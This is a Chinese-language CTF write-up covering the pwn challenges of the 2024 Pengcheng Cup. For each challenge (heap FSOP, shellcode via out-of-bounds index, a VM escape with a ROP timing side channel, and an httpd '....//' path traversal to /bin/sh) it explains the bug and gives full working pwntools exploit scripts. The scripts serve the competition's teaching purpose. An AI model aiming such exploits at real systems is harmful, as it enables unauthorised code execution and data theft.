2024鹏城杯Pwn方向超详细全部题解

本篇文章内容是2024鹏城杯Pwn方向的全部题解

babyheap

  • 题目中dele没有uaf,但是发现edit函数的长度固定为0x400

image.png

  • libc2.35,所以要打IO,这里用house of apple2
  • 利用add(0)泄露出heapbase,填满tcache利用unsorted bin泄露libcbase后,直接利用一次edit的漏洞来申请出_IO_2_1_stderr来布置IO链即可
from pwnlib.util.packing import u64
from pwnlib.util.packing import u32
from pwnlib.util.packing import u16
from pwnlib.util.packing import u8
from pwnlib.util.packing import p64
from pwnlib.util.packing import p32
from pwnlib.util.packing import p16
from pwnlib.util.packing import p8
from pwn import *
from ctypes import *
import ast
import struct
context(os='linux', arch='amd64', log_level='debug')
# p = process("/home/zp9080/PWN/pwn")
# p=gdb.debug("/home/zp9080/PWN/pwn",'b *$rebase(0x1A8F7)')
p=remote('192.168.18.22',8888)
# p=process(['seccomp-tools','dump','/home/zp9080/PWN/pwn'])
# elf = ELF("/home/zp9080/PWN/pwn")
libc=ELF("/home/zp9080/PWN/libc.so.6")
def dbg():
    gdb.attach(p,'b *$rebase(0x15E8)')
    pause()

menu=b"inputs your choice:"
def add(idx,size,cont):
    p.sendlineafter(menu,str(1))
    p.sendlineafter("input idx:",str(idx))
    p.sendlineafter("input size:",str(size))
    p.sendafter("input content:",cont)

def delete(idx):
    p.sendlineafter(menu,str(2))
    p.sendlineafter("input idx:",str(idx))

def show(idx):
    p.sendlineafter(menu,str(3))
    p.sendlineafter("input idx:\n",str(idx))

def edit(idx,cont):
    p.sendlineafter(menu,str(4))
    p.sendlineafter("input idx:\n",str(idx))
    p.send(cont)

#

#泄露heapbase
p.sendlineafter(menu,str(1))
p.sendlineafter("input idx:",str(0))
p.sendlineafter("input size:",str(0))
add(1,0x20,b'a')
delete(0)
# dbg()
p.sendlineafter(menu,str(1))
p.sendlineafter("input idx:",str(0))
p.sendlineafter("input size:",str(0))
show(0)
heapbase=u64(p.recv(5).ljust(8,b'\x00'))<<12
print(hex(heapbase))

#泄露libcbase
for i in range(8):
    add(i,0xa0,b'a')
add(8,0x20,b'a')
for i in range(8):
    delete(i)
# dbg()
for i in range(7):
    add(i,0xa0,b'a')

add(7,0x60,b'\xe0')
show(7)
# dbg()
libcbase=u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))-0x21ace0-0x100
print(hex(libcbase))
add(7,0x30,b'a')

add(0,0x20,b'a')
add(1,0x300,b'a')
add(2,0x300,b'a')
add(3,0x20,b'a')
delete(2)
delete(1)

IO_2_1_stderr=libcbase+libc.sym['_IO_2_1_stderr_']
# dbg()
edit(0,b'a'*0x20+p64(0)+p64(0x301)+p64( ((heapbase+0x8c0)>>12)^ IO_2_1_stderr) )

rdi=libcbase+0x000000000002a3e5
rsi=libcbase+0x000000000002be51
rdxr12=libcbase+0x11f2e7
ret=libcbase+0x29139
system_addr=libcbase+libc.sym['system']
payload= b'  sh;\x00\x00\x00'+p64(0)
payload += p64(0) + p64(system_addr) + p64(1) + p64(2) #这样设置同时满足fsop
payload = payload.ljust(0x48, b'\x00') + p64(heapbase) #FAKE FILE+0x48
payload = payload.ljust(0xa0, b'\x00') + p64(heapbase+0x8d0) #_wide_data
payload = payload.ljust(0xd8, b'\x00') + p64(libcbase + libc.sym['_IO_wfile_jumps']) #vtable=_IO_wfile_jumps

wide_data=b'\x00'
wide_data=wide_data.ljust(0x68,b'\x00')
wide_data+=p64(system_addr)
wide_data=wide_data.ljust(0xe0,b'\x00')
wide_data+=p64(heapbase+0x8d0)
# dbg()
add(1,0x300,wide_data)
add(2,0x300,payload)

p.sendlineafter(menu,str(1))
p.sendlineafter("input idx:",str(0))
p.sendlineafter("input size:",str(0x500))

p.interactive()

cool_book

  • 可以发现add的时候idx的限制不严格,导致越界,可以将返回地址覆盖为堆地址

image.png

  • 同时init函数让堆可读可写可执行,所以可以直接执行shellcode,但是read只有0x10字节,不好直接布置shellcode,所以这个shellcode调用read,然后再写入很长长度的shellcode即可

image.png

  • exp
from pwnlib.util.packing import u64
from pwnlib.util.packing import u32
from pwnlib.util.packing import u16
from pwnlib.util.packing import u8
from pwnlib.util.packing import p64
from pwnlib.util.packing import p32
from pwnlib.util.packing import p16
from pwnlib.util.packing import p8
from pwn import *
from ctypes import *
import ast
import struct
context(os='linux', arch='amd64', log_level='debug')
# p = process("/home/zp9080/PWN/pwn")
# p=gdb.debug("/home/zp9080/PWN/pwn",'b *$rebase(0x1A8F7)')
p=remote('192.168.18.25',8888)
# p=process(['seccomp-tools','dump','/home/zp9080/PWN/pwn'])
elf = ELF("/home/zp9080/PWN/pwn")
libc=elf.libc 
def dbg():
    gdb.attach(p,'b *$rebase(0x161D)')
    pause()

# dbg()
#6605c255f81e4a68a946e87ea4e6b14f
p.sendlineafter("3.exit",str(1))
p.sendlineafter("input idx",str(0x31))
shellcode='''
xor edi,edi
mov rdx,0x1000
syscall
'''
p.sendafter("input content",asm(shellcode))

# dbg()
p.sendlineafter("3.exit",str(3))

shellcode=b'\x90'*0x400+asm(shellcraft.open('flag',0)+shellcraft.read(3,'rsp',0x100)+shellcraft.write(1,'rsp',0x100))
p.send(shellcode)

p.interactive()

vm

题目分析

题目是常见的vm类型,这个函数的功能就是初始化mem,a[0]~a[7]是寄存器,a[8]是栈,a[11]是栈大小,a[12]在后面发现是rsp,a[10]在后面发现是rip

image.png

题目在到vmrun之前会有个check函数

image.png

看到中间有一部分很难逆向,但是发现了magic_number,看出这是md5

image.png

同时这个不是硬爆md5,可以看到与magic比较是用strcmp,同时md5这里会有\x00截断,所以只用看截断之前的东西就可以了

image.png

最终的check这样通过

check=b'LOGIN:root\nadmin:h3r3_1s_y0u2_G1ft!&&An9q\nDONE&EXIT\n'

题目中还有个sandbox,只让使用open,read,brk,close这几个系统调用,所以得考虑侧信道来爆出flag

image.png

vmcode逆向内容如下

#reg[idx]/=value
def reg_mulvalue(idx,value):
    global pay
    pay+=b'\xb8'+b'\x01'+p8(idx)+p64(value)

# reg[idx1]/=reg2[idx2]test
def div(idx1, idx2):
    global pay
    pay += b'\xb8' + b'\x00' + p8(idx1) + p8(idx2)

# stack[rsp]=value
def pushvalue(value):
    global pay
    pay += b'\xb4' + b'\x01' + p64(value)

#stack[rsp]=reg[idx]
def pushreg(idx):
    global pay
    pay+=b'\xb4'+b'\x00'+p8(idx)

#ret
def popreg(rip):
    global pay
    pay+=b'\xb2'+p8(rip)

#reg[idx]|=value
def reg_orvalue(idx,value):
    global pay
    pay+=b'\xb0'+b'\x01'+p8(idx)+p64(value)

#reg[idx1]|=reg[idx2]
def reg_orreg(idx1,idx2):
    global pay
    pay+=b'\xb0'+b'\x00'+p8(idx1)+p8(idx2)

def reg_addvalue(idx,value):
    global pay
    pay+=b'\x61'+b'\x01'+p8(idx)+p64(value)

def reg_addreg(idx1,idx2):
    global pay
    pay+=b'\x61'+b'\x00'+p8(idx1)+p8(idx2)

def reg_subvalue(idx,value):
    global pay
    pay+=b'\x63'+b'\x01'+p8(idx)+p64(value)

def reg_subreg(idx1,idx2):
    global pay
    pay+=b'\x63'+b'\x00'+p8(idx1)+p8(idx2)

def reg_mulvalue(idx,value):
    global pay
    pay+=b'\x65'+b'\x01'+p8(idx)+p64(value)

def reg_mulreg(idx1,idx2):
    global pay
    pay+=b'\x65'+b'\x00'+p8(idx1)+p8(idx2)

def reg_xorvalue(idx,value):
    global pay
    pay+=b'\x67'+b'\x01'+p8(idx)+p64(value)

def reg_xorreg(idx1,idx2):
    global pay
    pay+=b'\x67'+b'\x00'+p8(idx1)+p8(idx2)

def bitwise_not(idx):  #但是没有增加rip???
    global pay
    pay+=b'\x69'+p8(idx)

#free and malloc
def malloc(size):
    global pay
    pay+=b'\x14'+p32(size)

#0x13不知道在干嘛

#reg[idx]&=value
def reg_andvalue(idx,value):
    global pay
    pay+=b'\x11'+b'\x01'+p8(idx)+p64(value)

def reg_andreg(idx1,idx2):
    global pay
    pay+=b'\x11'+b'\x00'+p8(idx1)+p8(idx2)

#reg[idx]=value
def putvalue2reg(idx,value):
    global pay
    pay+=b'\x12'+b'\x01'+p8(idx)+p64(value)

#reg[idx]=*ptr
def putvalue2reg_plus(idx,ptr):
    global pay
    pay+=b'\x12'+b'\x02'+p8(idx)+p64(ptr)

#reg[idx1]=reg[idx2]  idx2没有检查
def swapreg0(idx1,idx2):
    global pay
    pay+=b'\x12'+b'\x04'+p8(idx1)+p8(idx2)

#reg[idx1]=*reg[idx2]
def swapreg1(idx1,idx2):
    global pay
    pay+=b'\x12'+b'\x08'+p8(idx1)+p8(idx2)

#*reg[idx1]=reg[idx2]
def swapreg2(idx1,idx2):
    global pay
    pay+=b'\x12'+b'\x10'+p8(idx1)+p8(idx2)

可以看到这个vm给的opcode非常全,而且可以发现最后几个指令,有任意地址的读取,和任意地址的写,同时还有个free然后malloc指令

image.png

同时发现有个swapreg0指令也即是reg[idx1]=reg[idx2],这里的idx2没有check寄存器的边界,这就造成了越界

image.png

exp编写

根据上述的漏洞分析,那么思路就明确了。

既然有free和malloc,而且一开始的栈对应的堆块是0x510大小,free后直接进入unsorted bin,那么再malloc直接可以申请出被写入了libc的地址,同时利用swapreg0的越界,就可以leak出libc

#得到libcbase
malloc(0x400)
swapreg0(0,14)
reg_subvalue(0,0x1ed010) #reg[0]=libcbase
swapreg0(7,0)  #reg[7]=libcbase

image.png

因为有沙盒,所以肯定要进行ROP,那么可以利用environ变量泄露出栈地址,然后得到返回地址,最后利用任意地址写来写入ROP

#泄露栈地址,reg[1]=retaddr
reg_addvalue(0,0x1ef600) #reg[0]=&environ
swapreg1(1,0) #reg[1]=stack
reg_subvalue(1,0x000190) #retaddr

image.png

侧信道

有了返回地址后,而且可以任意地址写,就要考虑如何写ROP来进行侧信道了

如果是shellcode的侧信道,那还是比较容易的,网上也有很多模板,但是对于ROP的侧信道,需要有一定的技巧

主要是利用了一些magic_gadget,这里的mg1就是一个cmp比较,这种比较后面必须跟着分支指令,比如je,jne这样才能判断比较是否相等,这里不相等会jne 0x1925c5。这里的指令是sbb eax, eax ; sbb eax, 0FFFFFFFFh,也就是rax会变成一个负的0FFFFFFFFh,后面肯定要接一个read函数来进行阻塞

但是会发现这样的话不管cmp比较是否相等,都会执行read,无法区分,所以有了mg2。mg2指令是mov qword ptr [rax], -1; xor eax, eax; ret;同时还有个gadget是add rax, rdi; ret;如果我们先让rdi为libc的bss段。

如果cmp结果相等,那么rax可能就是一个0x31这种很小的数,mov qword ptr [rax], -1;不会报错。但是如果cmp不相等,那么rax最终是libc_bss-0xFFFFFFFF,这显然是一个非法地址,然后mov qword ptr [rax], -1会直接让程序崩溃,这就满足了我们想要侧信道的要求。

def write_rop(ch,idx):
    libc.address=0
    mg1 = libc.address+0x000000000019244e#: cmp al, byte ptr [rsi - 1]; jne 0x1925c5; xor eax, eax; ret; 
    mg2 =  0x00000000001142bb#: mov qword ptr [rax], -1; xor eax, eax; ret;
    add_rax_rdi = 0x00000000000a8978#: add rax, rdi; ret; 
    mov_rdxaddr_rax = libc.address + 0x0000000000034550#: mov qword ptr [rdx], rax; ret; 
    pop_rdx = libc.address + 0x0000000000142c92#: pop rdx; ret; 
    pop_rax = libc.address + 0x0000000000036174#: pop rax; ret; 
    pop_rdi = libc.address + 0x0000000000023b6a#: pop rdi; ret; 
    pop_rsi = libc.address + 0x000000000002601f#: pop rsi; ret; 
    pop_rdx = libc.address + 0x0000000000142c92#: pop rdx; ret; 
    bss=libc.address+0x1ED7A0+0x800

    #open
    write_func(pop_rdx)
    write_func(bss)
    write_func(pop_rax)
    write_other(0x67616c662f2e)
    write_func(mov_rdxaddr_rax)
    write_func(pop_rdi)
    write_func(bss)
    write_func(pop_rsi)
    write_other(0)
    write_func(pop_rdx)
    write_other(0)
    write_func(pop_rax)
    write_other(2)
    write_func(0x47656) #syscall ; pop rbp ; ret
    write_other(0)

    #read
    write_func(pop_rdi)
    write_other(3)
    write_func(pop_rsi)
    write_func(bss)
    write_func(pop_rdx)
    write_other(0x100)
    write_func(libc.sym['read'])

    #cmp
    write_func(pop_rax)
    write_other(ch)
    write_func(pop_rsi)
    write_func(bss+ 1 +idx)
    write_func(mg1)

    write_func(pop_rdi)
    write_func(bss)
    #如果cmp指令不等于,则会jne 0x1925c5  ->   sbb  eax, eax ; sbb eax, 0FFFFFFFFh
    #add rax,rdi后rax的值可能为一个非法地址,那么mg2  mov qword ptr [rax], -1就会让程序崩掉,因为[rax]非法访问内存
    write_func(add_rax_rdi)
    write_func(mg2)

    #否则就进入read,read是可以进行阻塞的
    write_func(pop_rdi)
    write_other(0)
    write_func(pop_rsi)
    write_func(bss)
    write_func(pop_rdx)
    write_other(0x100)
    write_func(libc.symbols["read"])
  • 最终exp如下
from pwnlib.util.packing import u64
from pwnlib.util.packing import u32
from pwnlib.util.packing import u16
from pwnlib.util.packing import u8
from pwnlib.util.packing import p64
from pwnlib.util.packing import p32
from pwnlib.util.packing import p16
from pwnlib.util.packing import p8
from pwn import *
from ctypes import *
import ast
import struct
context(os='linux', arch='amd64', log_level='debug')
# p = process("/home/zp9080/PWN/pwn")
# p=gdb.debug("/home/zp9080/PWN/pwn",'b *$rebase(0x1A8F7)')
# p=remote('192.168.18.26',8883)
# p=process(['seccomp-tools','dump','/home/zp9080/PWN/pwn'])
elf = ELF("/home/zp9080/PWN/pwn")
libc=elf.libc 
# def dbg():
#     gdb.attach(p,'b *$rebase(0x33EC)')
#     pause()

check=b'LOGIN:root\nadmin:h3r3_1s_y0u2_G1ft!&&An9q\nDONE&EXIT\n'
pay=b''
#reg[idx]/=value
def reg_mulvalue(idx,value):
    global pay
    pay+=b'\xb8'+b'\x01'+p8(idx)+p64(value)

# reg[idx1]/=reg2[idx2]test
def div(idx1, idx2):
    global pay
    pay += b'\xb8' + b'\x00' + p8(idx1) + p8(idx2)

# stack[rsp]=value
def pushvalue(value):
    global pay
    pay += b'\xb4' + b'\x01' + p64(value)

#stack[rsp]=reg[idx]
def pushreg(idx):
    global pay
    pay+=b'\xb4'+b'\x00'+p8(idx)

#ret
def popreg(rip):
    global pay
    pay+=b'\xb2'+p8(rip)

#reg[idx]|=value
def reg_orvalue(idx,value):
    global pay
    pay+=b'\xb0'+b'\x01'+p8(idx)+p64(value)

#reg[idx1]|=reg[idx2]
def reg_orreg(idx1,idx2):
    global pay
    pay+=b'\xb0'+b'\x00'+p8(idx1)+p8(idx2)

def reg_addvalue(idx,value):
    global pay
    pay+=b'\x61'+b'\x01'+p8(idx)+p64(value)

def reg_addreg(idx1,idx2):
    global pay
    pay+=b'\x61'+b'\x00'+p8(idx1)+p8(idx2)

def reg_subvalue(idx,value):
    global pay
    pay+=b'\x63'+b'\x01'+p8(idx)+p64(value)

def reg_subreg(idx1,idx2):
    global pay
    pay+=b'\x63'+b'\x00'+p8(idx1)+p8(idx2)

def reg_mulvalue(idx,value):
    global pay
    pay+=b'\x65'+b'\x01'+p8(idx)+p64(value)

def reg_mulreg(idx1,idx2):
    global pay
    pay+=b'\x65'+b'\x00'+p8(idx1)+p8(idx2)

def reg_xorvalue(idx,value):
    global pay
    pay+=b'\x67'+b'\x01'+p8(idx)+p64(value)

def reg_xorreg(idx1,idx2):
    global pay
    pay+=b'\x67'+b'\x00'+p8(idx1)+p8(idx2)

def bitwise_not(idx):  #但是没有增加rip???
    global pay
    pay+=b'\x69'+p8(idx)

#free and malloc
def malloc(size):
    global pay
    pay+=b'\x14'+p32(size)

#0x13不知道在干嘛

#reg[idx]&=value
def reg_andvalue(idx,value):
    global pay
    pay+=b'\x11'+b'\x01'+p8(idx)+p64(value)

def reg_andreg(idx1,idx2):
    global pay
    pay+=b'\x11'+b'\x00'+p8(idx1)+p8(idx2)

#reg[idx]=value
def putvalue2reg(idx,value):
    global pay
    pay+=b'\x12'+b'\x01'+p8(idx)+p64(value)

#reg[idx]=*ptr
def putvalue2reg_plus(idx,ptr):
    global pay
    pay+=b'\x12'+b'\x02'+p8(idx)+p64(ptr)

#reg[idx1]=reg[idx2]  idx2没有检查
def swapreg0(idx1,idx2):
    global pay
    pay+=b'\x12'+b'\x04'+p8(idx1)+p8(idx2)

#reg[idx1]=*reg[idx2]
def swapreg1(idx1,idx2):
    global pay
    pay+=b'\x12'+b'\x08'+p8(idx1)+p8(idx2)

#*reg[idx1]=reg[idx2]
def swapreg2(idx1,idx2):
    global pay
    pay+=b'\x12'+b'\x10'+p8(idx1)+p8(idx2)

def write_func(offset):
    reg_addvalue(7,offset) 
    swapreg2(1,7)
    reg_subvalue(7,offset)
    reg_addvalue(1,8)

def write_other(value):
    putvalue2reg(6,value)
    swapreg2(1,6)
    reg_addvalue(1,8)

def write_rop(ch,idx):
    libc.address=0
    mg1 = libc.address+0x000000000019244e#: cmp al, byte ptr [rsi - 1]; jne 0x1925c5; xor eax, eax; ret; 
    mg2 =  0x00000000001142bb#: mov qword ptr [rax], -1; xor eax, eax; ret;
    add_rax_rdi = 0x00000000000a8978#: add rax, rdi; ret; 
    mov_rdxaddr_rax = libc.address + 0x0000000000034550#: mov qword ptr [rdx], rax; ret; 
    pop_rdx = libc.address + 0x0000000000142c92#: pop rdx; ret; 
    pop_rax = libc.address + 0x0000000000036174#: pop rax; ret; 
    pop_rdi = libc.address + 0x0000000000023b6a#: pop rdi; ret; 
    pop_rsi = libc.address + 0x000000000002601f#: pop rsi; ret; 
    pop_rdx = libc.address + 0x0000000000142c92#: pop rdx; ret; 
    bss=libc.address+0x1ED7A0+0x800

    #open
    write_func(pop_rdx)
    write_func(bss)
    write_func(pop_rax)
    write_other(0x67616c662f2e)
    write_func(mov_rdxaddr_rax)
    write_func(pop_rdi)
    write_func(bss)
    write_func(pop_rsi)
    write_other(0)
    write_func(pop_rdx)
    write_other(0)
    write_func(pop_rax)
    write_other(2)
    write_func(0x47656) #syscall ; pop rbp ; ret
    write_other(0)

    #read
    write_func(pop_rdi)
    write_other(3)
    write_func(pop_rsi)
    write_func(bss)
    write_func(pop_rdx)
    write_other(0x100)
    write_func(libc.sym['read'])

    #cmp
    write_func(pop_rax)
    write_other(ch)
    write_func(pop_rsi)
    write_func(bss+ 1 +idx)
    write_func(mg1)

    write_func(pop_rdi)
    write_func(bss)
    #如果cmp指令不等于,则会jne 0x1925c5  ->   sbb  eax, eax ; sbb eax, 0FFFFFFFFh
    #add rax,rdi后rax的值可能为一个非法地址,那么mg2  mov qword ptr [rax], -1就会让程序崩掉,因为[rax]非法访问内存
    write_func(add_rax_rdi)
    write_func(mg2)

    #否则就进入read,read是可以进行阻塞的
    write_func(pop_rdi)
    write_other(0)
    write_func(pop_rsi)
    write_func(bss)
    write_func(pop_rdx)
    write_other(0x100)
    write_func(libc.symbols["read"])

def pwn(ch,idx):
    p = process("/home/zp9080/PWN/pwn")
    global pay
    pay=b''
    #得到libcbase
    malloc(0x400)
    swapreg0(0,14)
    reg_subvalue(0,0x1ed010) #reg[0]=libcbase
    swapreg0(7,0)  #reg[7]=libcbase

    #泄露栈地址,reg[1]=retaddr
    reg_addvalue(0,0x1ef600) #reg[0]=&environ
    swapreg1(1,0) #reg[1]=stack
    reg_subvalue(1,0x000190) #retaddr

    write_rop(ch,idx)

    p.sendlineafter(':',check)
    try:
            p.sendafter("Man!what can I say?hahaha:", pay.ljust(0x600, b"\x00"))
            a = p.recvuntil("abcd",timeout = 0.7)
            print(a)
            if a == b'':
                p.sendline('123')
                # p.recvline()
                p.close()
                return True
            return False
    except EOFError:
            return False

charlist = [
    '0', '1', '2', '3', '4', '5', '6', '7', '8', '9',
    'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z',
    '{','}'
]

def brute(idx):
    global pay
    for i in charlist:
        if pwn(ord(i), idx):
            return i

flag = ''
for i in range(0,66):
    pay=b''
    ch = brute(i)
    if ch == b'\x00'or ch == None:
        break
    flag += ch
    print(flag)
    pause()

print(flag)

  • 在本地成功进行了侧信道得到flag

image.png

ez_upload

第一阶段

题目是很常见的httpd文件,出题人只写了GET和POST两种请求。可以看都GET请求带参数(也就是有?),POST请求,或者访问的文件具有用户读权限、组执行权限或其他用户执行权限中的任意一个权限,v2 被设置为 1。此时会进入bbbb函数

image.png

而serve_file函数其实就是进行一个文件读然后写到输出中,但是想要直接访问flag文件是不行的,因为看到dockerfile中flag具有用户读权限,所以进不到serve_file函数中去

COPY ./flag/flag /
RUN chown root:root /flag
RUN chmod 744 /flag

image.png

image.png

相关系统调用

pipe

pipe 系统调用用于创建一个单向数据通道,通过文件描述符实现进程间通信。pipe 的语法如下:

#include <unistd.h>
int pipe(int pipefd[2]);

参数:pipefd 是一个包含两个整数的数组,pipefd[0] 是读取端,pipefd[1] 是写入端。

向 pipe[1] 写入数据,pipe[0] 就会接收到数据。这是管道在进程间通信中的核心原理。

管道的工作机制:

单向数据流:管道(pipe)创建后会提供两个文件描述符,pipe[0] 和 pipe[1]。
pipe[0] 是读取端。
pipe[1] 是写入端。

数据传递:向 pipe[1] 写入的数据会自动流向 pipe[0],这样读取端的进程就可以获取写入端写入的数据。数据在进程之间传递时不会经过磁盘,而是直接在内存中传输,这样通信速度更快。

dup2

dup2 是一个系统调用,用于将一个文件描述符复制到另一个文件描述符。它通常用于重定向标准输入、输出和错误。其定义如下:

#include <unistd.h>
int dup2(int oldfd, int newfd);

oldfd:要复制的文件描述符。newfd:要将 oldfd 复制到的文件描述符。如果 newfd 已经打开,它会首先被关闭,然后指向与 oldfd 相同的文件。

dup2 常用于将标准输入、标准输出或标准错误重定向到一个文件或管道的文件描述符,以便控制输出或输入的来源。例如,将标准输出重定向到一个文件。比如dup2(file_fd, STDOUT_FILENO)

第二阶段

子进程就是根据file去调用execl函数

image.png

父进程就是把content通过管道写入到子进程中(注意子进程调用了dup2,把标准输入输出重定向到管道)

image.png

同时题目中给了个cgibin.cgi文件,这个bbbb函数应该就是为cgibin.cgi服务的,我认为漏洞可能也在cgibin.cgi这个二进制文件中。但是发现httpd中filename = handle_url(s, "../", byte_501A);中有个漏洞。

看似好像把"../"这个字符串给移除了,但是这里的移除可以绕过。利用"....//"这个形式(也就是双写绕过),题目移除"../"后刚好还剩下"../",仍然可以进行目录穿越

image.png
但是注意我们无法通过serve_file直接读flag,因为flag具有读权限。但是我们已经可以目录穿越,同时bbbb函数中可以进行任意文件执行,那么可以直接执行/bin/sh,然后content内容为cat flag\n,那么就可以得到flag

第三阶段

主要是要留意一些小问题:

第一个是content中的cat flag记得要带上\n,因为在httpd中经常以\n作为recv的终止符,不加上可能就一直卡在那里了

第二个是cat flag后需要再次访问页面才看得到flag,不知道是什么原因,这个感觉类似再次访问页面会刷新输出缓冲区一样

  • exp
data=requests.post(url=b"http://192.168.18.27:8080/....//....//bin/sh", data=b"cat /flag\n\n\n")
  • 最后可以在web页面看到flag(这里是用docker复现)

117.png

  • 发表于 2024-11-13 09:00:00
  • 阅读 ( 2363 )
  • 分类:二进制

2 条评论

eternity_
师傅有没有附件,有的话麻烦发一份全部pwn题的附件给我呗 邮箱:3156063554@qq.com
_ZER0_ 回复 eternity_
发你了QQ邮箱了
请先 登录 后评论
请先 登录 后评论
_ZER0_
_ZER0_

15 篇文章

站长统计